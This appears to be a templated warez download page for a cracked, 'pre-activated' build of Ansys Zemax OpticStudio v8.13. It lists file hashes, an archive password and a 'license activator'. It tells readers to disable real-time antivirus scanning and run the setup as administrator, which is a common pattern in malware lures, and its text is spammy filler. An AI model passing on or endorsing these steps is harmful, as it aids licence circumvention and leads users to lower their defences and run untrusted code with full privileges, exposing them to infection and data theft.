Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Ansys_Zemax_OpticStudio_v8.13_x64_setup.zip |
| Version | v8.13.1510 build 47762 |
| File Size | 4.04 GB (4138 MB) |
| MD5 Hash | b93766cc630b7f51dd443fc1b723333c |
| SHA-256 | 3a4dbdbf4cef1432cf6095d0cf09fa3eed08db87d95cd7de2ab74e4aecc6c603 |
| Release Date | 2026-04-01 |
| Platform | Windows 10 / 11 (x64) |
| Archive Password | mirror2026 |
| License Type | Pre-Activated |
With our updated distribution package for Ansys Zemax OpticStudio latest firmware update support, users can deploy professional-grade software without licensing interruptions. Make sure to disable real-time antivirus scanning before extracting the archive, then run the setup as administrator.